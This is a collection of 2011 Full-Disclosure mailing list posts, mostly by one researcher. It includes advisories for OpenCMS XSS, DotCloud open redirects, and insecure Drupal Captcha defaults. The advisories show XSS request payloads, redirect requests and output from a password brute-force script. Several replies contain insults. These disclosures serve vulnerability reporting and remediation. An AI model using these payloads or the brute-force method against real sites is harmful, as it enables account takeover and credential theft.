-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 It seems that even XSS, XSRF and SQLi are accepted... Interesting. Cheers antisnatchor Georgi Guninski wrote: http://www.theregister.co.uk/2011/11/02/secunia_vulnerability_rewards/ Secunia jumps on vuln reward bandwagon have in mind the list is Hosted and sponsored by Secunia -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iQEcBAEBAgAGBQJOssVXAAoJEBgl8Z+oSxe4K2MH/AhYcSXo9Ary2nKI4gKzDYSB Cgw/hc5dmSzr7vC7uJ5JN7AJJS9DgKrwy18OjPPryE+tuYix3DcN4T4mzyS+M0Cv yMu1s0bAzJ2O1W1mLcaRMlSbkfv0uDN/kaAe0b/a7rwjk5aHU/4swYPmkg5RgWkU uW9U9GB5dAdaeP1grstpw0o4fVb9OaRwQh4iO2oc9tRWQESxRg6ktGmAJKn/qdvg BRlWYddXjPN/3OScEwp8+JIrW3kLtrDUXlM887RaqvwRPWoFvDiRAKRdpAw+JA7/ j9Rz+KhnF21NfJFL1y+jEPEbNYySyJBRS2570mSyxQIUQz5r/Qp6uPN8AMilbs8= =l5GS -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] LinkedIn_User Account Delete using Click jacking
If you all think XSS, even reflected or DOM-based sucks..probably you don't know the BeEF project. I would suggest you to take a look at http://beefproject.com , try it, and see yourself what you can do :-) Cheers antisnatchor On 10 Oct 2011 02:56, xD 0x41 sec...@gmail.com wrote: YEP! When ya do it right, dang right it is! I did never reproduce the EXACT ethod wich made the x41's happen... but, i dun really care for that bug, or you call it a feature..well, i dont know feratures wich have x41's al;l over the emails when made in a special way... so, it was low-level to :) anyhow, no, i wont bother to recreate the email body, without using any 'features' of googles, for you. It is possible to exploit rich text editor, i have said.. the dll itself.. so maybe go investigate and stfu :) now back to the backdoor. On 10 October 2011 11:23, adam a...@papsy.net wrote: Yeah guys, XSS is nonsense. Exploiting anchor text is where it's at, right secn3t? http://seclists.org/fulldisclosure/2011/Jun/215 On Sun, Oct 9, 2011 at 7:10 PM, xD 0x41 sec...@gmail.com wrote: No, i have been through these, and only an idiot would fall for any of these attacks... Persistent XSS maybe harder, but, forget the rest :) Im to old for that. Never been a victim yet, in *any* way, and, certainly, those bugs wont be starting a trend.. cheer. xd On 10 October 2011 10:27, valdis.kletni...@vt.edu wrote: On Mon, 10 Oct 2011 09:36:17 +1100, xD 0x41 said: No,... and am happy not to know :-) , like XSS , i do not waste time with ninoritiy bugs such as 'clickjacking' and these new such terms wich are total BS. It's all total BS till you discover you're a victim of the attack. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Lulzsec as irc warrior 2.0?
Ciao Fabio ;-) I understand your point of view, and for sure they are using 80% of the time SQLi as the main attack vector to deface website/stealing data/whatever, but not always. I'm quite sure they used some 0-days when they completely compromised some of their targets that where not running webservers at all. Some of them would certainly be script-kiddies that uses sqlmap, while being lucky enough to find lame error-based SQLi, others for sure are skilled. It's also not only a game when you steal hundred of thousand of data: you can always resell it to some agencies/black-market that are hungry of that, as you do with CCs. Ciao Michele Orru' /antisnatchor Fabio Pietrosanti (naif) June 19, 2011 3:12 PM Nothing personal, that's exactly what i wrote previously: If they're IRC warriors within some time they will just disappear. Just think, the leaders before or later will start finding the game boring, will get a girlfriend, will start going out with friends rather than being twitter/chat addicted. I also experienced hacking and internet addiction in past, i mean when you're young, you want to feel adrenaline pumping up and get it by doing 14 hours hacking per day! But before or later that game will became or too dangerous or too boring and you'll probably just park the boat. In the meantime, have fun! But always remember that every game has an end and it's up to you to decide how your game will end! Cheers -naif On 6/19/11 1:40 PM, lulzb...@hushmail.com wrote: ugay its all for lulz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ lulzb...@hushmail.com June 19, 2011 1:40 PM -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 ugay its all for lulz On Sun, 19 Jun 2011 10:33:47 + "Fabio Pietrosanti (naif)" -BEGIN PGP SIGNATURE- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wsBcBAEBAgAGBQJN/eA4AAoJEE4sWZ2chp6RnZMH/jiMa7oqnSNWYItjyFylut3IA2+u o+L8LwTkxulyCbydn6Vn7B8K7ra5xqN/NNACsDlCmsHnpZYMJQiHKAt0riyxYMHnsA/f IfBvXdF0CKp5RzJH71oa5R8yY08NvvrU0MykNrv6oDgXR4rDTm1O+wvTlT+B2ZS8Achc VpDeNLJ8lGjJ5OmZVzSo5qw9n01jZExB2ciXYSBnbxXefjgLfxBYfueLIphU4YQE4OCU wQi0xwVPNB+lWbCi5bID1zgFZ5rSciif/K/76q/AVO/v0VATNAEMCsIeiVgyNcr4PgkX CNv+gv122pjrgV2yjtboL8Lu15J+dhWvUFZ4JQ6GRWM= =ZPzX -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] CCAvenue Payment Gateway SQL Injection Vulnerability
so difficult to use pangolin :-) wtf /antisnatchor iSpy Team wrote: [ TABLES: 156 ] : pangolin_test_table ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] iPhone Geolocation storage
Already twitted today. Pretty scary btw. I hope there's not the equivalent for Android. antisnatchor Thor (Hammer of God) April 20, 2011 9:05 PM For those of you who have not seen this yet: http://radar.oreilly.com/2011/04/apple-location-tracking.html Theres no reason to think outside the box if you dont think yourself into it. My newest book: Thors Microsoft Security Bible Timothy Thor Mullen t...@hammerofgod.com http://www.hammerofgod.com ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Vulnerabilities in Mimbo Pro theme for WordPress
/italian/ eh bona con sti advisory di merda. hai rotto il cazzo mustlive. ma non ti senti un noob ad usare acunetix e riportare le vulnerabilita? e poi sempre sulla stessa roba cristo... non farmi aggiungere una regola anti-spam per il tuo indirizzo di merda. e ke kezzo (banfi) /italian/ antisnatchor MustLive April 14, 2011 8:44 PM Hello list! I want to warn you about Cross-Site Scripting, Full path disclosure, Abuse of Functionality and Denial of Service vulnerabilities in Mimbo Pro theme for WordPress. It's commercial theme for WP by developer of TimThumb. - Affected products: - Vulnerable are Mimbo Pro 2.3.1 and previous versions. XSS is possible only in old versions of the theme. After my informing, developer have fixed almost all vulnerabilities. -- Details: -- XSS (WASC-08): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> Full path disclosure (WASC-13): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> http://site/wp-content/themes/mimbopro/ And also tens of php-scripts of the theme in folder /mimbopro/ and all subfolders. Abuse of Functionality (WASC-42): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> DoS (WASC-10): http://site/wp-content/themes/mimbopro/scripts/timthumb.php?src=""> About such AoF and DoS vulnerabilities I wrote in article Using of the sites for attacks on other sites (http://lists.grok.org.uk/pipermail/full-disclosure/2010-June/075384.html). Timeline: 2011.02.08 - informed developer about vulnerabilities in TimThumb. 2011.02.08 - announced at my site. 2011.02.09 - informed developer about vulnerabilities in Mimbo Pro. 2011.02.13 - developer released TimThumb 1.25 and begun updating TimThumb in all his themes. 2011.04.14 - disclosed at my site. I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/4913/). Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [AntiSnatchOr] OpenCMS = 7.5.3 multiple vulnerabilities
OpenCMS = 7.5.3 multiple vulnerabilities Name: OpenCMS = 7.5.3 multiple vulnerabilities Systems Affected: OpenCMS = 7.5.3 Severity: High Vendor: http://www.opencms.org Advisory: http://antisnatchor.com/opencms_7.5.3_multiple_vulnerabilities Author: Michele antisnatchor Orru (michele.orru AT antisnatchor DOT com) Date: 20110328 I. BACKGROUND OpenCMS from Alkacon Software is a professional, easy to use website content management system. OpenCms helps content managers worldwide to create and maintain beautiful websites fast and efficiently. II. DESCRIPTION Multiple vulnerabilities exist in OpenCMS = 7.5.3 (latest stable version at the time of writing) that could lead to victim browser pwnage, sensitive information stealing and cookie stealing. III. ANALYSIS a.) Reflected XSS Some authenticated resources are vulnerable to Reflected XSS. The URI /opencms/opencms/system/workplace/commons/report-locks.jsp is vulnerable to Reflected XSS in the following parameters: includerelated, resourcelist. A request like the following will display an alert with the number 666: GET /opencms/opencms/system/workplace/commons/report-locks.jsp?resourcelist=nullresource=/demo_deincluderelated=falsescriptalert(666)/script HTTP/1.1 Host: localhost:8080 [...] The URI /opencms/opencms/system/workplace/views/explorer/contextmenu.jsp is vulnerable too, but we should know a valid resource name to exploit it: this is not too difficult, because knowing the path of an image it would be enough. A request like the following will display an alert with the number 666: GET /opencms/opencms/system/workplace/views/explorer/contextmenu.jsp?resourcelist=/deco_logo.pngacttarget=514f2scriptalert(666)/script HTTP/1.1 Host: localhost:8080 b.) Cookies issued without HttpOnly flag This issue is even more dangerous because the application don't issue cookies with the HttpOnly flag set: even if there are ways to bypass this security measure, it should always be added to prevent accessing the cookies from JS. c.) Various password field with autocomplete enabled Last but not least, the main login form (URI /opencms/opencms/system/login/) and the change password form (URI /opencms/opencms/system/workplace/commons/preferences.jsp) have autocomplete enabled: thanks to the presence of XSS, an attacker can easily steal the input form values if they have been saved by the victim using the browser remember password mechanisms. IV. DETECTION 7.5.3 and earlier versions are vulnerable. V. WORKAROUND Always escape/sanitize the input that comes from the user, because it can be malicious. A good way would be to integrate OWASP ESAPI in OpenCMS, in order to use all the pre-built functions that mitigate XSS, SQLi, XSRF, and so on. VI. VENDOR RESPONSE OpenCms 7.5.4 fixes the issues. VII. CVE INFORMATION No CVE at this time. VIII. DISCLOSURE TIMELINE 20110216 Initial vendor contact 20110216 Initial vendor response 20110328 Version 7.5.4 fixes the issues 20110328 Public disclosure IX. CREDIT Michele antisnatchor Orru' X. LEGAL NOTICES Copyright (c) 2011 Michele antisnatchor Orru' Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [AntiSnatchOr] DotCloud Beta Multiple Vulnerabilities
DotCloud Beta Multiple Vulnerabilities Name: DotCloud Beta Multiple Vulnerabilities Systems Affected: DotCloud current beta Severity: Medium Vendor: http://www.dotcloud.com Advisory: http://antisnatchor.com/dotcloud_beta_multiple_vulnerabilities Author: Michele antisnatchor Orru (michele.orru AT antisnatchor DOT com) Date: 20110328 I. BACKGROUND DotCloud is a new managed IaaS aimed to create mashups of applications ready-to-be-deployed. II. DESCRIPTION Multiple vulnerabilities have been identified in the web application used to access the user API/SSH keys. III. ANALYSIS a. Open Redirection The next parameter of the following URLs is vulnerable to Open Redirection: http://www.dotcloud.com/account/create http://www.dotcloud.com/account/login To exploit Open Redirection on the first URL is enough to put a not already registered email address in the email parameter: GET http://www.dotcloud.com/account/create?email=antisnatchor%40gmaill.compassword=antisnatchor123password_confirm=antisnatchor123invite_code=2x1hRFnext=http%3a//www.google.com HTTP/1.1 The second one is present during the login action, so it's pre-authenticated and this fact increases the security risk: POST /account/login HTTP/1.1 Host: www.dotcloud.com [...] Content-Type: application/x-www-form-urlencoded Content-Length: 87 email=antisnatchor%40gmail.compassword=antisnatchor123next=http%3a//www.google.com Open Redirection can be used for phishing purposes or to execute malicious code on the victim behalf: it would be easy for an attacker to exploit them to hook the victim browser to BeEF and then redirect back the victim on the login page, while logging their keystrokes with Javascript for example. b. Credentials are sent in cleartext No SSL certificates are used at all to protect sensitive informations from eavesdropping attacks like MITM. c. Sensitive form with autocomplete enabled As can be seen in the login page: form action=/account/login method=post id=login-form class=big fieldset p label for=emailEmail Address/label input name=email id=email type=text value= tabindex=1 / /p p label for=passwordPassword/label input name=password id=password type=password value= tabindex=2 / the password form field don't have the autocomplete=off attribute in place. This could lead an attacker to steal the credentials stored in the browsers if having XSS in the next releases of the DotCloud webapp, or in this case after exploiting the Open Redirection vulnerability. d. Cookie without HttpOnly flag Even if there are ways to bypass this security measure, the HttpOnly flag should always be added to prevent accessing the cookies from Javascript. e. No anti-XSRF tokens on sensitive forms submissions No unique tokens are added to sensitive forms to prevent replay attacks like Cross Site Request Forgery. At least the forms to change the API key and the form to upload an SSH key should be protected in this way, to prevent that in case of any XSS that would be present in the next releases of the DotCloud webapp things would't get worse. IV. DETECTION DotCloud current beta is vulnerable. V. WORKAROUND Redirects should not be controlled by users: build a server-side white list of known-good URLs where the redirect should point to, for example. VI. VENDOR RESPONSE Fixed from 14 March 2011. VII. CVE INFORMATION No CVE at this time. VII. DISCLOSURE TIMELINE 20110307 Initial vendor contact 20110310 Initial vendor response 20110314 Vendor fixes issues 20110328 Public disclosure VIII. CREDIT Michele antisnatchor Orru' IX. LEGAL NOTICES Copyright (c) 2011 Michele antisnatchor Orru' Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without mine express written consent. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email me for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] III World War. - Broadcast Request.
ahahaahah...what kind of haze did you smoke this time Mr. asmo? Take it easy with drugs :) antisnatchor Christian Sciberras February 28, 2011 10:04 PM I'm already living on a rock completely insulated from the rest of mankind. What about you? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Thor (Hammer of God) February 28, 2011 9:39 PM That depends on your concept of "heaven." t ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ asmo February 26, 2011 12:31 AM Hello, To Whom it may concern. I believe that the IIIWorld War conflict might start in 10 months or more from now. The question is: who's unified and who's willing to participate. Leadership is not yet defnied. It may be as well someone well known in IT industry or someone completely unknown. Where we could meet if such situation happens ? It might not happen any time soon so it may sound like hoax but just in case, any ideas ? Security guys must have a plan. Even if it sounds pathetic as for now. So? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] What the f*** is going on?
Chris Evans February 23, 2011 1:35 AM On Tue, Feb 22, 2011 at 2:42 PM, Michal Zalewski lcam...@coredump.cx wrote: Also, I would say that even though randomly prodding exec arguments with As isn't so elite, the space of "the non-web" is much more deep and much more complex than the space of "the web".. I think that sentiment made sense 8-10 years ago, but today, it's increasingly difficult to defend. I mean, we are at a point where casual users can do without any "real" applications, beyond just having a browser. And in terms of complexity, the browser itself is approaching the kernel, and is growing more rapidly. Yes, web app vulnerabilities are easier to discover. Web app security is beginners' security -- surely everyone knows that? Those with talent graduate on to low-level vulns (mem corruptions, kernel vulns, etc). Well even if I agree with you, I don't think guys like rsnake, grossman, .mario, vela, ecc.. are not talented just because they mainly focus on web app/client side security. I'm the first one among many who want to learn RE and low level things, but I think both of the sides are complex enough. Isn't your colleague Michal more focused on web app security nowadays? Cheers antisnatchor /troll Cheers Chris That's partly because of horrible design decisions back in the 1990s, and partly because we're dealing with greater diversity, more complex interactions, and a much younger codebase. Plus, we had much less time to develop systemic defenses. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Michal Zalewski February 22, 2011 11:42 PM I think that sentiment made sense 8-10 years ago, but today, it's increasingly difficult to defend. I mean, we are at a point where casual users can do without any "real" applications, beyond just having a browser. And in terms of complexity, the browser itself is approaching the kernel, and is growing more rapidly. Yes, web app vulnerabilities are easier to discover. That's partly because of horrible design decisions back in the 1990s, and partly because we're dealing with greater diversity, more complex interactions, and a much younger codebase. Plus, we had much less time to develop systemic defenses. /mz ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Charles Morris February 22, 2011 10:44 PM mz /mz Michal, your blog writeup does cut to the disheartening core of the issue, but as we all know large non-savvy organizations just eat that bravado and mystery up. Also, I would say that even though randomly prodding exec arguments with As isn't so elite, the space of "the non-web" is much more deep and much more complex than the space of "the web".. and the vulnerabilities are generally more interesting, generally more difficult to find, and generally more difficult to exploit. If we examine the
Re: [Full-disclosure] Vulnerability in reCAPTCHA for Drupal
If you thing that some statements from MustLive like the following: " Full path disclosure (WASC-13): At POST request to the page with form with using of Cyrillic char in parameter op, the error message is showing, which consists the full path on the system. Vulnerabilities exist at pages: http://site/user/, http://site/user/1/edit, http://site/user/password, http://site/user/register, http://site/contact, http://site/user/1/contact. Other pages which have forms also can be vulnerable. Exploit: http://websecurity.com.ua/uploads/2011/Drupal%20Full%20path%20disclosure.html As noted Drupal developers, these vulnerabilities appear due to turned on debugging option in administrator panel. So for preventing of these and other FPD at the site it's needed to turn off this option. " are not hilarious, then you're a really noob. I mean, every Drupal user knows that the default path to register a new user is user/register, or that the default admin account is reachable at user/1, or that the contact form is at the contact URI. These are not vulnerabilities, and this is one of the many reasons why almost no-one in FD read his "advisories" and flag his address as spam :) antisnatchor Zach C. February 17, 2011 7:29 PM Well, just playing devil's advocate here, mind you, I think much of the irritation from MustLive's postings comes from the following three reasons: 1.) MustLive is primarily a web-application specialist (for the sake of argument) 2.) The vulnerabilities he finds are of a class of vulnerabilities that are most common in his field. (Consider: someone searching for vulnerabilities in internet services directly and doing the binary analysis will primarily be finding buffer or stack overflows, right? In web security, XSS and SQL injection (as well as others I'm undoubtedly forgetting -- I am *NOT* counting "not using a CAPTCHA" here, see next item) are the most common vulnerabilities, given the lack of binary code to overwrite) 3.) Every so often he posts a vulnerability of questionable risk in the form of "anti-automation" which is essentially a fancy way of saying "ha ha they don't use CAPTCHA." I don't consider that a vulnerability so much as an opening for annoyance; I suppose your mileage may vary. My guess is that there's a thought that web apps are far easier to crack at than binaries, so vulnerabilities are easier to find, therefore don't waste time finding something that's "useless." That may be, in some cases, but sometimes a vulnerability in the web app destroys the entire chain, so to speak. Thoughts? -Zach (P.S. Still just playing devil's advocate; sometimes they get to annoy the crap out of me too.) ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Eyeballing Weev February 17, 2011 6:57 PM It's either he floods f-d with his "vulnerabilities" or he has to go out in the real world to farm dirt for export to the West. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ Zach C. February 17, 2011 6:54 PM fucking *two days*? Is that even enough time for the vendor to acknowledge? ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ MustLive February 17, 2011 6:18 PM Hello list! I want to warn you about Insufficient Anti-automation vulnerability in reCAPTCHA for Drupal. In project MoBiC in 2007 I already wrote about bypassing of reCaptcha for Drupal (http://websecurity.com.ua/1505/). This is new method of bypassing
Re: [Full-disclosure] [AntiSnatchOr] Drupal = 6.20 insecure Captcha defaults PoC
2011/2/14 MustLive mustl...@websecurity.com.ua: Hello Michele! Few days ago I saw your advisory about Drupal's captcha. It's interesting advisory, but I have one note concerning it - your research is very close to mine ;-) (it concerns similar holes which I found before you). I didn't found anything in FD or other public lists mentioning this issue before, so :) First, you are talking Drupal captcha and saying that Drupal = 6.20 are vulnerable. But it's not fully correct - Drupal Captcha module it's not core module, but third party one, so these holes have no relation to Drupal. It's how Drupal developers answered me in December, when I informed them about holes in their Captcha (I'm not using Drupal, so I didn't know is core this module or not). And so the hole in captcha concerns only Captcha module for Drupal (and sites on any version of Drupal with such module can be vulnerable) - so correctly to write about vulnerability not in Drupal, but exactly in Captcha module. Second, in your PoC (bruteforce exploit for Drupal) you're talking about Brute Force hole. But in title you said about insecure Captcha (which is Insufficient Anti-automation). These are different classes of vulnerabilities, like in WASC TC - Brute Force (WASC-11) and Insufficient Anti-automation (WASC-21). So your title is not fully correct. I don't care too much about WASC classification, as you probably do. wasc-21 can lead to wasc-11, so I don't want to bother on classifying these things. This means the following: if I will be able to correctly solve the first Captcha challenge in the login form, but the login credentials are invalid, there will be no new Captcha challenge to solve in the login form presented after the HTTP response. In this situation is possible to automate a dictionary/bruteforcing attack. This a little different from my hole - in my hole I'm bypassing captcha without any correct solving of challenges, i.e. complete bypass (and persistence option will not help against my attack). But your advisory is still close to mine ;-). Third, concerning the dates. At 2010-12-10 I announced different vulnerabilities in Drupal (http://websecurity.com.ua/4749/), found in summer. Including Insufficient Anti-automation vulnerabilities concerning captcha (as I'll write in my advisory, there are IAA holes as in captcha, as in Drupal itself). At 2010-12-11 I informed Drupal about these vulnerabilities in Drupal. At 2010-12-11 John Morahan from Drupal security team answered me. And in particular he stated, that Drupal Captcha is separate module. At 2010-12-12 I draw John's attention, that IAA holes existed not only in captcha module, but in Drupal itself (so it concerned Drupal too). At 2010-12-15 I announced new vulnerabilities in Drupal (http://websecurity.com.ua/4749/), found in summer. Including Brute Force (as concerning captcha module, as Drupal itself). At 2010-12-16 I informed Drupal about these vulnerabilities in Drupal. So as you can see I announced and informed developers more than month before you. Did they told you, that I informed them about similar attacks and very close holes in December? Looks like they didn't. Which is strange, it's unlikely that they forgot after just a month about it or that the whole Drupal security team had amnesia in January. All these holes in Drupal (from my 4 advisories concerning Drupal) will be disclosed soon. It was planned for February, so at this week I begun disclosing these holes. They didn't told me anything: I've been in contact with Jakub Suchy and Mori Sugimoto. They said that the issue I've reported qualified for public disclosure. Probably they didn't told me about you because they don't give a shit about you, as all of us that write in FD do :) Have a good day mr. MustLive So, Michele, good luck in your security researches. Best wishes regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua [Full-disclosure] [AntiSnatchOr] Drupal = 6.20 insecure Captcha defaults PoC Michele Orru antisnatchor at gmail.com Thu Feb 10 12:15:01 GMT 2011 Drupal = 6.20 insecure Captcha defaults PoC Name: Drupal = 6.20 insecure Captcha defaults PoC Systems Affected: Drupal = 6.20 with Captcha = 2.3 Severity: Medium Vendor: http://drupal.org Advisory: http://antisnatchor.com/Drupal_insecure_Captcha_defaults_PoC Author: Michele antisnatchor Orru` (michele.orru AT antisnatchor DOT com) Date: 20110210 I. BACKGROUND Drupal is a world-wide used open-source CMS written in PHP: being really flexible and easy to extend, is the de-facto choice for many small and big websites/portals that need a robust framework on which model their business. II. DESCRIPTION Many Drupal users use Captcha challenges (specially with reCaptcha) in their websites to protect sensitive resources from bots and spammers. In fact, we've always red and seen Captcha (Drupal or not) implemented to protect
Re: [Full-disclosure] [AntiSnatchOr] Drupal = 6.20 insecure Captcha defaults PoC
On Tue, Feb 15, 2011 at 12:25 AM, Eyeballing Weev eyeballing.w...@gmail.com wrote: On Mon, Feb 14, 2011 at 4:54 PM, MustLive mustl...@websecurity.com.ua wrote: Hello Michele! Few days ago I saw your advisory about Drupal's captcha. It's interesting advisory, but I have one note concerning it - your research is very close to mine ;-) (it concerns similar holes which I found before you). Quit being sexist. Is this because of a woman disclosed this? What the hell :) I'm a man mate. Michele is like Michael. antisnatchor Second, in your PoC (bruteforce exploit for Drupal) you're talking about Brute Force hole. But in title you said about insecure Captcha (which is Insufficient Anti-automation). These are different classes of vulnerabilities, like in WASC TC - Brute Force (WASC-11) and Insufficient Anti-automation (WASC-21). So your title is not fully correct. Again, more sexism by you. All these holes in Drupal (from my 4 advisories concerning Drupal) will be disclosed soon. It was planned for February, so at this week I begun disclosing these holes. So, Michele, good luck in your security researches. Good luck to anyone reading your Engrish ridden advisories ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [AntiSnatchOr] Drupal = 6.20 insecure Captcha defaults PoC
Drupal = 6.20 insecure Captcha defaults PoC
Name: Drupal = 6.20 insecure Captcha defaults PoC
Systems Affected: Drupal = 6.20 with Captcha = 2.3
Severity: Medium
Vendor: http://drupal.org
Advisory: http://antisnatchor.com/Drupal_insecure_Captcha_defaults_PoC
Author: Michele antisnatchor Orrù (michele.orru AT antisnatchor DOT com)
Date: 20110210
I. BACKGROUND
Drupal is a world-wide used open-source CMS written in PHP:
being really flexible and easy to extend, is the de-facto
choice for many small and big websites/portals that need a robust
framework on which model their business.
II. DESCRIPTION
Many Drupal users use Captcha challenges (specially with reCaptcha) in their
websites to protect sensitive resources from bots and spammers.
In fact, we've always red and seen Captcha (Drupal or not) implemented
to protect sensitive forms from online dictionary and bruteforcing attacks.
The default configuration of Persistence options for the Captcha module
in Drupal are insecure: the persistence option is set to Omit
challenges in a
multi-step/preview workflow once the user successfully responds to a
challenge.
This means the following: if I will be able to correctly solve the first
Captcha challenge in the login form,
but the login credentials are invalid, there will be no new Captcha
challenge to solve in the login
form presented after the HTTP response. In this situation is possible to
automate a dictionary/bruteforcing attack.
III. ANALYSIS
I've attached a two hours made Ruby PoC that automates a password guessing
attack to a known username. The code is commented enough, but basically
having
the cookie, the form anti-xsrf token and the captcha token/sid the
bruteforcing
can be automated. These values should be changed in the code, in a way that
the first request is valid and contains the right captcha sid and
cookie: the next
captcha/form tokens will be parsed and added to the HTTP requests
automatically.
An examle of the output:
/opt/local/bin/ruby -e
$stdout.sync=true;$stderr.sync=true;load($0=ARGV.shift)
/Users/antisnatchor/WORKS/BEEF/drupal-intruder/drupal_captcha_intruder.rb
+Initial xsrf token [form-43fb0bcbcb140066a782a3fc23ab1ab7]
+Initial captcha token [d853d6df05f6c6a956a46f20c8fe20aa]
+Dictionary attack with [4] passwords
+Testing password [test1]
+Request headers =
{Cookie=SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0;
has_js=1;, Referer=http://antisnatchor.com/user;,
Content-Type=application/x-www-form-urlencoded,
User-Agent=Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13}
+Code = 200
+Message = OK
+New xsrf token [form-f83fba9470bf8e3bfa035291b94fcc32]
+New captcha token [aa6e143f8c43c6b1ec87b59f6ab5bf6d]
+Testing password [test2]
+Request headers =
{Cookie=SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0;
has_js=1;, Referer=http://antisnatchor.com/user;,
Content-Type=application/x-www-form-urlencoded,
User-Agent=Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13}
+Code = 200
+Message = OK
+New xsrf token [form-6fba4b48adf6cec02539075edb4fb5f6]
+New captcha token [3e36c79be84a0cdf3a5eefbd0715ecdd]
+Testing password [test3]
+Request headers =
{Cookie=SESS7fa63be60e31be67df6f271d7756698c=tgg548ajq53m4pb0ne18nsunm0;
has_js=1;, Referer=http://antisnatchor.com/user;,
Content-Type=application/x-www-form-urlencoded,
User-Agent=Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13}
+Code = 200
+Message = OK
+New xsrf token [form-a14e4668b0a8b7fa826bb04d1aa8590a]
